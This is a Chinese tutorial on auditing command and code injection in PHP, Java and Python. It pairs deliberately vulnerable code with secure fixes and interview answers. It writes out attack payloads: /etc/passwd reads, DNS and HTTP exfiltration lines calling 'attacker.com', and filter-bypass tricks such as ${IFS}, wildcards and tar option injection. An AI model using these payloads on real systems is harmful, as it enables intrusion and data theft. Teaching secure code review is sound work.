命令与代码执行(RCE)审计

先修知识

第一次接触代码审计的同学,先把下面这些词过一遍。每个都只用一句话讲明白,读正文时遇到再回来查。

术语白话解释
RCERemote Command/Code Execution,远程命令/代码执行。攻击者能让服务器替他跑命令或跑代码,是 Web 漏洞里的”天花板”级危害。
Shell操作系统的”命令行解释器”,Linux 下是 /bin/sh、bash,Windows 下是 cmd.exe。你敲的每条命令都是它解析执行的。
命令分隔符shell 允许一行写多条命令的符号:;(顺序执行)、&&(前面成功才执行)、||(前面失败才执行)、|(管道,把前一个命令的输出交给后一个)。注入全靠它们”截断”原命令。
$() 和反引号shell 的”命令替换”:`id` 或 $(id) 会先执行里面的命令,再把执行结果塞回原位置。比如 ping $(whoami).example.com。
Source(源)数据流里”用户可控输入”的入口,比如 PHP 的 $_GET['ip']、Java 的 @RequestParam、Flask 的 request.args。
Sink(汇)数据流里”危险函数”的落点,比如 system()、Runtime.exec()、eval()。漏洞 = Source 的水流到了 Sink。
数据流回溯审计动作:从 Sink 出发,一路往回找参数从哪来,直到确认它是不是用户可控、中间有没有被过滤。
Payload攻击载荷,就是你为了让漏洞触发而精心构造的那段输入,比如 127.0.0.1;cat /etc/passwd。
白名单 / 黑名单白名单:只允许”明确安全”的值通过(如必须是一个合法 IP);黑名单:只拦截”已知危险”的值(如不许出现 ;)。安全界共识:黑名单必可被绕过,只认白名单。
回显命令执行的结果能不能在响应里看到。有回显 = 直接看到 id 的输出;无回显 = 盲打,要把结果外带到自己服务器。
语言构造器PHP 里 eval、include、echo 这类不是函数、是语法结构的东西。后果:disable_functions 管不住它们。
预编译 / 参数化把”命令结构”和”数据”分开传,数据永远只是数据,不会被当成命令解析。类比:先印好表格模板,照片只往照片框里贴,贴再大的照片也不会变成表格里的文字。
grep / 全局搜索审计的第一步,在整个源码目录里搜危险函数名(如 shell_exec),把所有命中点列出来再逐个回溯。工具如 Seay、VSCode 全局搜索、IDEA Find in Files。

〇、先搞清楚:这类漏洞到底是怎么来的

命令执行和代码执行是两个亲兄弟,最后效果一样(服务器被控制),但”病”的位置不同:

  • 命令执行(命令注入):程序把用户输入拼进一条 shell 命令里去执行。 类比:你去餐厅点菜,正常人在菜单上写”红烧肉”。攻击者写的是”红烧肉。另外,把后厨钥匙给我”。服务员(shell)不分辨内容,照着单子全做了——因为菜单允许用句号写”另外一件事”(分隔符)。
  • 代码执行:程序把用户输入当成本语言的一段代码去求值(eval 类函数)。 类比:老师让考官”照学生写在卷子上的要求打分”,攻击者在卷子上写”请直接给我满分,并把所有人的卷子改成满分”。考官(解释器)真的照做了。

开发者为什么会写出这种代码? 三种典型心态,审计时你看到的每一个漏洞背后都是其一:

  1. 图省事:要实现 ping 检测、图片压缩、文件转换,调系统命令一行搞定,比找库、学 API 快得多。于是 exec("ping " + ip) 就上线了。
  2. 不知道危险:新手根本不知道 $_GET 里可以塞 ;cat /etc/passwd,以为用户只会老老实实输个 IP。
  3. 误信输入来源:觉得”这个参数是前端下拉框选的,用户改不了”——但攻击者根本不通过浏览器发包,Burp 一改什么都能变。

为什么会出现漏洞的本质:程序把”数据”和”指令”混在了一个字符串里交给了解析器(shell 或语言引擎),解析器只认语法不认意图,用户的数据就被当成了指令。

审计时怎么找(通用三步,后面每个语言都会落到具体关键字上):

  1. 搜 Sink:全局搜索危险函数名(system、exec、eval、Runtime.exec、os.system……),列出所有命中点。
  2. 回溯 Source:对每个命中点,看参数从哪来。一路往上追到 $_GET/@RequestParam/request.args 就是可控;追到写死的常量或内部计算结果就是不可控(不算漏洞,记录即可)。
  3. 查过滤:中间有过滤函数就分析能不能绕过——黑名单(str_replace(';',''))基本必绕得过,白名单(filter_var($ip, FILTER_VALIDATE_IP))通常绕不过。

一、通用原理:命令注入 vs 代码执行

两者最终结果都是 RCE(远程命令/代码执行),但成因与审计对象不同,面试必考区分:

对比项命令执行(命令注入)代码执行
执行载体操作系统 shell(/bin/sh -c、cmd.exe)语言解释器本身(PHP/Java/Python 引擎)
成因用户输入被拼进命令字符串交给 shell,用 ; | && $() 反引号等分隔符截断出第二条命令用户输入进入 eval/exec/assert 等把字符串当代码求值的函数
攻击者在哪一层”捣乱”shell 语法层——利用分隔符、命令替换、通配符语言语法层——直接写一段 PHP/Python 代码进去
绕过重心绕过对分隔符/关键字的过滤(空格 ${IFS}、通配符、变量拼接、编码)绕过对函数名/关键字的过滤(拼接、回调、动态函数名)
审计 Sink调 shell 的 API:system/exec/Runtime.exec/os.system/subprocess(shell=True)求值类 API:eval/assert/preg_replace /e/ScriptEngine.eval/GroovyShell
防御思路白名单校验 + 参数化(数组形式不带 shell)+ 转义(escapeshellarg/shlex.quote)根除——任何用户输入都不得进入求值函数;用 ast.literal_eval 等纯数据求值替代

共通的审计模型(背答):Source(用户可控输入)→ 传播(拼接/解码/过滤)→ Sink(危险函数)。审计动作永远是:全局搜 Sink 关键字 → 反向回溯参数是否可控 → 检查中间过滤能否绕过 → 动态验证(发包/断点)。只命中 Sink 而 Source 不可控(如写死的内部调用)不算漏洞;有过滤但可绕过(黑名单、单次替换)仍是漏洞。

举个”不算漏洞”的反例,帮助建立判断力:

// ❎ 虽然用了 system(),但参数是写死的,用户碰不到 —— 不算漏洞
system("tar -xzf /opt/data/init.tar.gz -C /var/www/uploads");
// ❌ 同样一个 system(),参数来自用户输入 —— 高危命令注入
system("ping -c 2 " . $_GET['ip']);

看到区别了吗?审计审的不是”有没有危险函数”,而是”危险函数的参数用户能不能控制”。

跨语言通用判定要点:

  1. 拼接单字符串进 shell 类 API 即高危,数组参数(不经 shell)则无分隔符注入面。
  2. 过滤只认白名单(正则限定字符集 / 枚举值映射);黑名单(拦 ; | cat)必然可绕过。
  3. 注意二次数据流:命令参数不一定来自本次请求,数据库/缓存/配置文件里取出的旧数据同样可控(二次注入思路同样适用)——比如用户注册时把”昵称”写成 x;id,后台定时任务某天把昵称拼进命令,照样中招。

无回显怎么办(盲打外带,必懂):很多命令执行点不把结果打印到页面(比如结果只写日志、或命令在后台异步跑)。这不代表漏洞不存在,只是攻击者多走一步——把结果”外带”到自己控制的服务器。三种常用手法,审计时也要会构造验证:

  1. DNS 外带(最常用,能穿透大多数出网限制):ping $(id|base64).attacker.com。命令替换先执行 id,base64 编码后拼成子域名,系统去解析这个域名时,攻击者在自己搭建的权威 DNS 日志里就能看到完整结果。为什么用 DNS?因为目标服务器往往禁止主动 HTTP 出网,但 DNS 解析几乎总是放行的。
  2. HTTP 外带:curl http://attacker.com/?d=$(id|base64) 或 wget。要求目标能出网,看攻击者服务器的访问日志收数据。
  3. 时间盲注(连外带都不行时的最后手段):if [ $(id -u) -eq 0 ]; then sleep 5; fi——通过响应是否延迟 5 秒来逐位判断信息,慢但一定能出数据。
  4. 写文件到 Web 目录:id > /var/www/html/x.txt,再浏览器访问 /x.txt。前提是知道 Web 目录路径且可写。

审计视角的推论:验证”无回显命令注入”时,不要因为页面没输出就报”不存在”——搭个 DNSLog/CEYE 平台收一下外带请求,十分钟见分晓。

常见过滤 → 绕过对照表(审计时看到左边的代码,条件反射想右边的姿势):

代码里的过滤手段绕过姿势原理一句话
str_replace(';', '', $x) 拦 ;换行 %0a、|、&&、$()、反引号shell 的命令分隔符有一大家子,封一个没用
拦空格${IFS}、$IFS$9、<(重定向读文件如 cat</etc/passwd)、{cat,/etc/passwd}(bash 花括号展开)shell 里能产生”空白分隔”效果的不止空格字符
拦 cat/flag 等关键字变量拼接 a=c;b=at;$a$b、c''at/c""at(空引号打散)、ca\t(反斜杠)、通配符 /???/??t、base64 `echo Y2F0base64 -d
单次替换 str_replace('cat', '', $x)双写 ccatat删一次后中间剩下的恰好又拼出 cat——单次替换的通病
只过滤 GET 参数从 POST/Cookie/Header(User-Agent、X-Forwarded-For)进开发者常忘了 Source 不止 $_GET
拦数字 IP 之外的字符,但放行 .127.0.0.1 写成 2130706433(十进制)/0x7f000001(十六进制)绕过”必须含点”类校验的反向利用这是绕”格式校验”的思路:同一个东西有多种合法表示

这张表不用背,用的时候回来查。要背的只有一句:黑名单必死,白名单永生。

二、PHP

PHP 是命令/代码执行漏洞的”重灾区”,因为它历史久、老代码多,而且危险函数一抓一大把。先背 Sink 表,再看案例。

2.1 Sink 表(背表必备)

类型Sink 函数说明
命令执行system() exec() shell_exec() passthru() popen() proc_open() 反引号 `cmd`参数拼进命令字符串即 RCE;system 直接回显、exec 取末行、shell_exec/反引号返回全部输出、passthru 原样输出二进制(常用来回显图片/文件)
代码执行eval() assert() preg_replace() 带 /e 修饰符 call_user_func() / call_user_func_array() create_function() array_map()/usort() 等回调函数字符串被当 PHP 代码求值

逐个补一句”人话”,背的时候好记:

  • system("cmd"):执行命令,结果直接打印到页面。一句话木马之外最常见的 sink。
  • exec("cmd", $out):执行命令,结果塞进 $out 数组,只回显最后一行。
  • shell_exec("cmd"):执行命令,返回全部输出(赋值给变量,不自动打印)。
  • 反引号 `cmd`:和 shell_exec 完全等价,就是个语法糖。很多老代码用它,审计别漏。
  • eval("php 代码"):把字符串当 PHP 代码执行。注意它不是函数,是语言构造器,所以 disable_functions 禁不掉它。
  • call_user_func("函数名", 参数):动态调用一个函数。如果”函数名”来自用户输入,等于任意函数调用——call_user_func($_GET['f'], $_GET['a']) 用户传 f=system&a=id 就打穿了,比 eval 还直接。
  • create_function('$a', '代码'):动态造一个匿名函数,函数体是字符串代码,同样会被求值。
  • preg_replace('/正则/e', '替换串', $str):/e 修饰符会把”替换串”当 PHP 代码执行,历史名洞。

两个易考的版本坑(审计先看 phpinfo() 或 composer.json 确认版本):

  • preg_replace 的 /e 修饰符:PHP 5.5 弃用,PHP 7.0 移除,只有 PHP<7 能利用(preg_replace('/(.)/e', $_GET['x'], 'x') 型)。
  • assert('phpinfo()') 字符串执行:PHP 7.2 起弃用但仍可利用,PHP 8.0 起 assert() 不再接受字符串(抛 TypeError)。
  • create_function() 于 PHP 7.2 弃用、PHP 8.0 移除。

审计时看到这几个 Sink,先确认 PHP 版本再判定可利用性——报一个”PHP 8 环境下 assert 字符串注入”会被面试官当场抓包。

审计搜索怎么操作:用 Seay(Windows 经典 PHP 审计工具)或任何编辑器的全局搜索,搜上表关键字定位 Sink 列表,再人工回溯 $_GET/$_POST/$_REQUEST/$_COOKIE/$_SERVER 等 Source 是否可控、过滤能否绕过。特别注意 $_SERVER['HTTP_USER_AGENT']、$_SERVER['HTTP_X_FORWARDED_FOR'] 这类”看起来像服务器给的”变量——它们来自请求头,用户完全可控,也是 Source。

PHP 特有的坑:可变函数(Variable Function)。PHP 允许用变量的值当函数名调用:$f = 'system'; $f('id'); 等价于 system('id')。审计时别只搜函数名,还要搜这种模式:

<?php
// ❌ 看着没有 eval/system,但照样 RCE
$f = $_GET['func'];      // Source:函数名用户可控
$a = $_GET['arg'];       // Source:参数用户可控
$f($a);                  // Sink:可变函数调用,传 func=system&arg=id 即打穿

$xxx(...) 这种”变量直接加括号”的写法就是信号。同理还有 array_map($_GET['f'], ...)、usort(..., $_GET['f']) 等回调参数可控的写法——回调函数名是个字符串,用户传什么就调什么。这类点用函数名搜不到,要在全局搜里加 $_(GET|POST|REQUEST) 配合 ( 的正则人工过一遍,或者搜 array_map|usort|call_user_func|array_filter|register_shutdown_function 等接受回调的函数。

2.2 案例:命令注入(Source→Sink 无过滤)

先读代码,注意行内注释:

<?php
// ping.php —— 漏洞代码:一个"检测主机是否在线"的小工具
$ip = $_GET['ip'];                 // ① Source:URL 参数,用户完全可控,比如 ?ip=任意内容
if (!isset($ip)) die('no ip');     // 只检查了"有没有传参",没检查"传的是什么"——isset 不是安全校验!
$res = shell_exec("ping -c 2 " . $ip);  // ② 传播+Sink:用户输入被原样拼接进 shell 命令,交给 /bin/sh 执行
echo "<pre>$res</pre>";            // ③ 执行结果回显到页面,攻击者直接能看到

数据流(用编号走一遍):

  1. 用户输入从哪进来:GET /ping.php?ip=127.0.0.1;cat /etc/passwd → PHP 把 ip 参数放进 $_GET['ip']。
  2. 经过什么处理:只过了 isset()(判断变量存不存在)。isset("127.0.0.1;cat /etc/passwd") 返回 true,防线形同虚设。
  3. 到达哪个危险函数:字符串拼接后变成 "ping -c 2 127.0.0.1;cat /etc/passwd",整条交给 shell_exec() → 底层 /bin/sh -c 执行。
  4. 为什么防线失效:根本没有防线。开发者以为用户只会输 IP,没想过 URL 参数可以随便改。

Payload 逐段拆解:127.0.0.1;cat /etc/passwd

片段作用
127.0.0.1让前面的 ping -c 2 正常执行,不引人注意
;关键:shell 分隔符,意思是”前一条命令到此为止,后面是一条新命令”
cat /etc/passwd攻击者真正想执行的命令:读系统用户列表。结果会被 shell_exec 捕获并回显

除了 ;,还可以用这些,面试常追问”还有哪些分隔符”:

  • 127.0.0.1 && id——前面 ping 成功才执行 id
  • 127.0.0.1 | id——管道,id 的输出作为 ping 的”输入”,但 id 会先被执行
  • $(id) 或 `id`——命令替换,先执行 id 再把结果拼回命令行(比如 ping $(whoami))
  • %0a(换行符 URL 编码)——换行在 shell 里也是命令分隔符,很多只过滤 ; 的黑名单死在它手上

审计结论:存在 OS 命令注入,高危。Seay 搜 shell_exec 命中后回溯 $_GET 即可确认,全程两分钟。

2.3 案例进阶:黑名单过滤为什么必死

很多开发者知道危险了,但用了错误的修法。看这段”自以为安全”的代码:

<?php
$ip = $_GET['ip'];
// 开发者的"防御":把危险符号删掉
$ip = str_replace(array(';', '|', '&'), '', $ip);   // ❌ 黑名单过滤
$res = shell_exec("ping -c 2 " . $ip);

为什么防不住:shell 的分隔符远不止这三个。逐条绕过给你看:

  1. 换行符绕过:?ip=127.0.0.1%0acat%20/etc/passwd——%0a 是换行,; | & 一个没用,黑名单白过滤。
  2. 命令替换绕过:?ip=$(cat${IFS}/etc/passwd)——$() 不在黑名单里;${IFS} 是 shell 的内置变量,值就是空白字符,用来代替空格(空格本身没被过滤,但假设有过滤时这么绕)。
  3. 就算把符号全封死,还有通配符:/bin/cat /etc/passwd 可以写成 /???/??t /???/??????——? 在 shell 里匹配任意单个字符,照样执行 cat。

教训(背答级):黑名单的思路是”列出所有坏人”,但”坏人”是无穷的(编码、变形、协议特性层出不穷);白名单的思路是”只放行好人”,攻击面是收敛的。审计时看到 str_replace/preg_replace 删符号式的过滤,默认判定可绕过,然后花五分钟找一个绕过姿势写进报告。

2.4 防御与修复

正确写法长这样,和漏洞代码对比着看:

$ip = $_GET['ip'];
// ✅ 白名单校验:filter_var 内置的 IP 校验器,不是合法 IP 直接拒绝
if (!filter_var($ip, FILTER_VALIDATE_IP)) die('bad ip');
// ✅ 双保险:escapeshellarg 把整个参数包成单引号字符串,内部的引号被转义,
//    分隔符、$()、反引号全部失效——整个参数被 shell 当作"一个普通字符串"
$res = shell_exec("ping -c 2 " . escapeshellarg($ip));

修复的优先级清单(从上到下,越靠前越根本):

  1. 优先不用 shell:能用 PHP 原生函数/API 实现的功能(如 dns_get_record 查 DNS、Gd/Imagick 处理图片)就不要 exec。
  2. 白名单校验:参数限定为 IP/域名/枚举值(filter_var、in_array($x, $allow, true)、字符集正则 ^[a-zA-Z0-9.-]+$)。
  3. 转义兜底:escapeshellarg()(整参数加引号转义,防分隔符)/ escapeshellcmd()(转义整条命令的元字符)。注意两者职责不同,不能互换:escapeshellcmd 只管元字符,不防参数注入——如果命令是 tar ... $file,用户传 --checkpoint-action=exec=sh x.sh 这种以 - 开头的”选项型注入”,元字符一个没有,escapeshellcmd 完全无感,但 tar 会把它当选项执行命令。
  4. 纵深防御:php.ini 配 disable_functions = system,exec,shell_exec,passthru,popen,proc_open,assert。注意 eval 是语言构造器而非函数,disable_functions 对它无效,需配合 Suhosin 类扩展或代码评审;生产环境关闭 display_errors(错误信息会泄露路径、代码片段,帮攻击者调试 payload)。
  5. 过滤黑名单(str_replace(';', '', $cmd))❌ 不可用——&&、换行、$() 等均可绕过,见 2.3 的完整演示。

三、Java

Java 的命令执行有一个其他语言没有的大坑:Runtime.exec(String) 默认不走 shell。这个坑年年考,也年年有人答错,下面掰开讲。

3.1 Sink 表

类型Sink 关键字(grep 用)说明
命令执行Runtime.getRuntime().exec、ProcessBuilder拼接用户输入即高危(但要看实参形态,见下文大坑)
代码执行(脚本引擎)GroovyShell / GroovyScriptEngine、ScriptEngineManager.getEngineByName("js").eval、Jython/BeanShell 的 eval把字符串当 Groovy/JS/Python 代码执行,等同 RCE。注意 Nashorn JS 引擎 JDK 15 起已移除,但老项目满地都是
表达式注入(相邻考点)SpelExpressionParser.parseExpression(...).getValue、Ognl.getValue、ELProcessor.eval详见表达式注入专题,本表仅提示交叉审计——审计 Java 项目时这几个关键字要和 RCE 一起搜

审计关键坑:Java 的 exec(String) 在 Linux 下按空白切分参数,本身不经过 shell。

用人话讲:PHP 的 system("ping " . $ip) 会把整串交给 /bin/sh -c,所以 ; 有魔力;而 Java 的 Runtime.exec("ping " + host) 在 Linux 下是用 StringTokenizer 按空格把字符串切成数组 ["ping", "127.0.0.1;id"],然后直接 fork+execve 调用 ping——从头到尾没有 shell 参与,;id 只是被当成 ping 的一个参数,ping 报错”无法解析主机名”就结束了,注入失败。

但以下两种形态会真实触发 shell 语义,看到即判高危:

  1. 代码显式写 exec(new String[]{"/bin/sh","-c", 拼接串}) 或 new ProcessBuilder("/bin/sh","-c", 拼接串)——开发者主动把 shell 请了回来,-c 后面的整串由 sh 解析,分隔符全活;
  2. 显式调用 cmd.exe /c 拼接串(Windows)。注意 Windows 下 exec(String) 默认同样不经 cmd.exe;但目标程序若是 .bat/.cmd 脚本,Windows 会自动用 cmd 解析它,或者拼接串被下游脚本二次解析时,分隔符语义会重现——这就是为什么”同一个 payload 打 Windows 成了、打 Linux 没成”。

审计时必须看 exec 的实参形态(单字符串拼接 vs 数组 vs 显式 /bin/sh -c),这是减少误报的核心。三形态速判:

Runtime.exec("ping -c 2 " + host);                              // Linux 下打不动;Windows 视目标而定 —— 灰区,要细查
Runtime.exec(new String[]{"ping", "-c", "2", host});            // ✅ 数组形态,每个参数独立,不经 shell —— 安全写法
Runtime.exec(new String[]{"/bin/sh", "-c", "ping " + host});    // ❌ 显式 sh -c + 拼接 —— 确定高危

Windows 下 cmd 的分隔符和 Linux 不一样,审计跨平台项目时留意:cmd.exe 里 ; 不是命令分隔符,&(无论前者成败都执行)、&&、|| 才是。所以打 Windows 目标的 payload 要用 127.0.0.1 & whoami;反过来,只过滤了 & 没过滤 |(|| 的半边)的代码也有缝可钻。这些差异不影响审计方法,只影响你写 PoC 时选哪个符号。

脚本引擎补充:ScriptEngineManager.getEngineByName("javascript") 返回的 Nashorn 引擎在 JDK 8~14 内置、JDK 15 起被移除——但别以为安全了,老项目(JDK 8 存量巨大)满地都是,而且很多项目会自己引入 Groovy、Jython、BeanShell、QLExpress、Aviator 等”规则引擎”做活动规则、风控表达式,这些引擎的 eval/execute 吃到用户输入同样是 RCE。审计 Java 项目时把 GroovyShell|ScriptEngine|AviatorEvaluator|QLExpress|ExpressRunner|JexlEngine 一并加进搜索列表。

3.2 案例:命令执行(Runtime.exec 回溯)

@Controller
public class DiagController {
    // ❌ 漏洞代码:/diag/ping?host=用户可控
    @RequestMapping("/diag/ping")                    // ① Source:Spring 自动把 URL 参数绑定到方法形参
    @ResponseBody
    public String ping(String host) throws Exception { // host 完全可控,没有任何校验
        // ② Sink:直接拼接到命令行字符串
        Process p = Runtime.getRuntime().exec("ping -c 2 " + host);
        // ③ 把命令的标准输出读出来返回给页面 —— 有回显,攻击者直接看结果
        return new String(p.getInputStream().readAllBytes());
    }
}

调用链(数据流编号走一遍):

  1. Source:GET /diag/ping?host=127.0.0.1;cat /etc/passwd → Spring 的 @RequestMapping 把 host 参数绑定到方法形参,全程无校验。
  2. 传播:字符串拼接成 "ping -c 2 127.0.0.1;cat /etc/passwd"。
  3. Sink:Runtime.exec(...)。这里要用 3.1 的知识判断形态:本例是单字符串拼接,Linux 下按空格切分、; 失效——严格说这行代码在 Linux 下打不动;但如果目标部署在 Windows、或者开发者哪天”为了支持管道符”改成 "/bin/sh","-c" 形态,立刻变成可利用。审计报告里要写清楚这个边界条件,而不是闭眼报”已复现 RCE”。
  4. 回显:p.getInputStream() 是命令的 stdout,读出来 return 给页面。

真正高危的孪生版本(真实项目里更常见,因为开发者要”支持重定向、管道”):

// ❌ 这个版本任何平台都能打:显式 sh -c + 用户可控拼接
Process p = Runtime.getRuntime().exec(
    new String[]{"/bin/sh", "-c", "ping -c 2 " + host});

Payload host=127.0.0.1;id 的拆解和 PHP 案例一样:; 截断,id 被执行,结果随响应回显。

审计结论:Source(host 参数)全程无过滤直达 Runtime.exec。审计时看到 /bin/sh -c 或拼接单参数即可判命令注入高危;普通 exec(String) 拼接在 Linux 下打不动这一点要写进备注,体现专业度。

3.3 防御与修复

// ✅ 白名单校验:host 只允许字母、数字、点、短横线,长度 ≤64
if (!host.matches("^[a-zA-Z0-9.\\-]{1,64}$")) return "invalid";
// ✅ 参数数组形式:每个参数是数组的独立元素,host 永远只是 ping 的一个参数,
//    里面就算有 ; | $() 也不会被任何 shell 解析——因为压根没有 shell 参与
Process p = new ProcessBuilder("ping", "-c", "2", host).start();
  1. 优先用 API 替代 shell:Java 类库能做的(网络探测用 InetAddress.isReachable、压缩用 java.util.zip、文件处理用 NIO)绝不调外部命令。
  2. 必须调用时:ProcessBuilder / exec(String[]) 数组形式传参(每个参数独立元素,不经 shell 解析,分隔符失效)+ 参数白名单正则。
  3. 脚本引擎隔离:GroovyShell/ScriptEngine.eval 不得接受外部输入;业务确需动态脚本时用 SecureASTCustomizer(Groovy)/ ClassFilter(Nashorn 后续引擎)限制可用类,并放独立低权限沙箱进程。真实漏洞参考:某著名 JIRA/Confluence 系漏洞链的终点就是脚本引擎或表达式求值吃了用户输入。
  4. 命令输出回显前注意不泄露错误堆栈与路径信息(e.printStackTrace() 直接输出到响应是低危信息泄露,但会帮攻击者快速定位问题)。

四、Python

Python 的情况和 PHP 类似:危险函数直白,且 subprocess 一个参数的差异常年作为考题。

4.1 Sink 表

类型危险函数 / Sink判定要点
命令执行os.system(cmd)、os.popen(cmd)、subprocess.call/run/Popen/check_output(..., shell=True)、commands.getoutput/getstatusoutput(仅 Py2)、pty.spawn命令字符串是否拼接了用户输入;subprocess 传 list 且 shell=False 则安全(pty.spawn(argv) 同理是数组形态,不走 shell)
代码执行eval()、exec()、compile() + exec/eval、execfile()(Py2)任何用户输入进入即 RCE;compile 本身只编译不执行,需配合 eval/exec 才是 sink

审计搜索:先全局 grep Sink 关键字做”点”的快速筛查,再对命中的点做数据流回溯。Source 侧按框架记:

  • Flask:request.args(GET 参数)、request.form(POST 表单)、request.values(两者合并)、request.data/request.json(请求体)、request.headers(请求头)——全是可控输入。
  • Django:request.GET、request.POST、request.body。

一个参数的天壤之别(必考):

subprocess.run("ping -c 2 " + ip, shell=True)   # ❌ shell=True + 拼接字符串 = 命令注入
subprocess.run(["ping", "-c", "2", ip])         # ✅ 列表传参,shell 默认为 False —— 安全

为什么?shell=True 时 Python 会把字符串交给 /bin/sh -c,和 PHP 的 system() 一样,分隔符全活;shell=False(默认)时 Python 直接 execvp(["ping", ...]),没有 shell,; 只是个普通字符。顺带提醒:os.system() 和 os.popen() 内部就是 /bin/sh -c,等价于永远 shell=True,所以它们配拼接字符串必死。

4.2 案例:os.popen 命令注入

import os
from flask import Flask, request
app = Flask(__name__)
 
@app.route('/ping')
def ping():
    host = request.args.get('host', '')        # ① Source:URL 查询参数,用户完全可控
    # ❌ 危险:用户输入直接拼进 shell 命令
    res = os.popen("ping -c 2 " + host).read()  # ② 传播+Sink:拼接后进 os.popen(内部 /bin/sh -c)
    return f"<pre>{res}</pre>"                  # ③ 结果回显页面

数据流分析:

  1. Source:request.args.get('host') 用户完全可控,无任何过滤。攻击请求:/ping?host=127.0.0.1;id。
  2. 传播:字符串拼接成 "ping -c 2 127.0.0.1;id"。
  3. Sink:os.popen 内部即以 /bin/sh -c 执行整条命令——; 截断,id 作为新命令执行。
  4. 回显与外带:本例有回显,id 的输出直接返回。无回显时(比如命令结果写进了日志而不是响应),用带外通道把数据偷出来:host=x$(id|base64|tr -d '\n').attacker.com——命令替换先执行 id,base64 编码后作为子域名,攻击者在自己 DNS 服务器日志里就能看到;或写文件到 Web 目录再访问。

Payload 拆解(无回显外带版):x$(id|base64).attacker.com

片段作用
x占位字符,让子域名合法
$( ... )命令替换:先执行括号里的命令,把输出塞回来
id|base64执行 id,管道给 base64 编码(去掉输出里的空格、斜杠等 DNS 不允许的字符)
.attacker.com拼成完整域名。ping 会去解析它 → 攻击者的权威 DNS 收到查询 → 查询名里就带着 id 的结果

审计结论:os.system/os.popen/subprocess(shell=True) 的实参中只要含用户可控拼接即命令注入高危。

4.3 防御与修复

import re, subprocess
 
@app.route('/ping')
def ping():
    host = request.args.get('host', '')
    # ✅ 白名单校验:只允许字母数字点短横线,fullmatch 要求整串匹配(比 match 严)
    if not re.fullmatch(r'[a-zA-Z0-9.\-]{1,64}', host):
        return 'invalid'
    # ✅ 参数列表 + shell=False:host 只是 ping 的一个参数,分隔符无人解析
    res = subprocess.run(['ping', '-c', '2', host],
                         shell=False, capture_output=True, text=True)
    return f"<pre>{res.stdout}</pre>"
  1. 命令执行:一律 subprocess.run([prog, arg1, arg2], shell=False),参数以 list 传递;业务上必须走 shell 时(比如要用管道),用 shlex.quote() 处理每个参数——它就是 Python 版的 escapeshellarg,给参数加单引号并转义内部引号。
  2. 代码执行:删除一切 eval/exec 的用户输入路径。很多开发者用 eval 只是为了”把字符串 '[1,2,3]' 转成列表”——这种需求用 ast.literal_eval,它只接受字面量语法(数字、字符串、列表、字典、元组),没有代码执行语义,传 __import__('os').system('id') 会直接报语法错误。
  3. 用 Python 原生库替代外部命令(shutil.copy 替代 cp、socket/requests 替代 curl、os 模块替代 ls/rm),从根上消除 Sink。

五、面试题眼速答

题眼一句话答案展开两三句
命令执行和代码执行的区别?命令执行是用户输入拼进 shell 命令串,由操作系统 shell 解析分隔符执行;代码执行是用户输入进入 eval/exec/assert 等求值函数,由语言解释器当代码跑。两者 Sink、绕过手法、防御手段都不同:命令注入绕的是分隔符/关键字过滤(${IFS}、通配符),代码执行绕的是函数名/关键字过滤(拼接、回调);命令注入能用数组参数化根治,代码执行只能根除用户输入进入求值函数的路径。
RCE 审计的通用思路?全局搜 Sink 关键字(危险函数回溯法)→ 回溯 Source 判定可控性 → 检查过滤是否可绕过(只认白名单,黑名单必可绕)→ 动态发包/断点验证。核心模型是 Source→传播→Sink:只命中 Sink 而参数写死不算漏洞,有过滤但黑名单/单次替换可绕过仍是漏洞。别忘了二次数据流——数据库里取出的旧数据拼进命令同样可控。
PHP 命令执行危险函数?system exec shell_exec passthru popen proc_open 和反引号。区别在输出方式:system 直接回显、exec 取末行、shell_exec/反引号返回全部输出、passthru 原样输出二进制。修复用 escapeshellarg/escapeshellcmd + 白名单,纵深防御配 disable_functions。
PHP 代码执行危险函数?eval assert(PHP8 起 assert 不吃字符串)、preg_replace 的 /e(PHP<7)、call_user_func、create_function(PHP<8)、各类回调函数。版本坑必考:/e 修饰符 PHP7.0 移除,assert('...') PHP8.0 抛 TypeError,create_function PHP8.0 移除。call_user_func($_GET['f'], $_GET['a']) 函数名可控等于任意函数调用,比 eval 更直接。
PHP 命令注入怎么修?能不用 shell 就不用;必须用则白名单校验(filter_var/枚举/字符集正则)+ escapeshellarg 双保险,php.ini 的 disable_functions 兜底。注意 eval 是语言构造器,disable_functions 禁不掉它;escapeshellcmd 不防 --xxx 型选项注入,和 escapeshellarg 职责不同不能互换;黑名单 str_replace 删符号必然失效。
Java 命令执行搜什么?Runtime.exec、ProcessBuilder、GroovyShell、ScriptEngine.eval。重点看参数是否拼接用户输入、实参形态是否数组/是否显式 /bin/sh -c。脚本引擎类(Groovy/Nashorn)把字符串当代码执行,用户输入可达即 RCE,和表达式注入(SpEL/OGNL)一起交叉审计。
Java 的 Runtime.exec 拼接为什么有时打不动?Linux 下 exec(String) 按空白切分不走 shell,; 只是非法参数;Windows 下默认也不经 cmd.exe。只有显式 new String[]{"/bin/sh","-c",拼接} 或 cmd /c(含目标是 .bat/.cmd 被 cmd 自动解析、或被下游脚本二次解析)才真实触发分隔符注入。审计必须看实参形态,这是减少误报的核心,也是面试官分辨”背过”和”真懂”的分水岭。
Python 命令执行危险函数?os.system/os.popen/subprocess(shell=True)/commands.*(Py2)。os.system/os.popen 内部就是 /bin/sh -c,等价于永远 shell=True。安全写法是 subprocess.run([...], shell=False) 参数数组;必须走 shell 时每个参数过 shlex.quote。
Python 代码执行危险函数?eval/exec/compile+exec/execfile(Py2),用户输入进入即 RCE。compile 只编译不执行,配合 eval/exec 才是 sink。只想解析 '[1,2,3]' 这类字面量数据时用 ast.literal_eval——只认字面量语法,无代码执行语义,是标准替代方案。
escapeshellarg 和 escapeshellcmd 区别?escapeshellarg 给单个参数加引号转义(防分隔符);escapeshellcmd 转义整条命令的元字符,不防参数注入,两者不能互换。经典反例:tar/find/git 这类命令,参数以 - 开头就是选项(如 tar 的 --checkpoint-action=exec=...),元字符一个没有,escapeshellcmd 完全无感但命令照打。审计时看到只调 escapeshellcmd 的代码要往”选项注入”方向想。
命令注入过滤分号就安全了吗?不安全。| && || 换行 $() 反引号均可截断。空格可用 ${IFS}/< 绕过,关键字可大小写/拼接(c''at)/通配符(/???/??t)/编码绕过。黑名单的思路是”枚举所有坏人”,永远枚举不完;只有白名单”只放行好人”能把攻击面收敛。审计见到 str_replace 式过滤默认判可绕过。
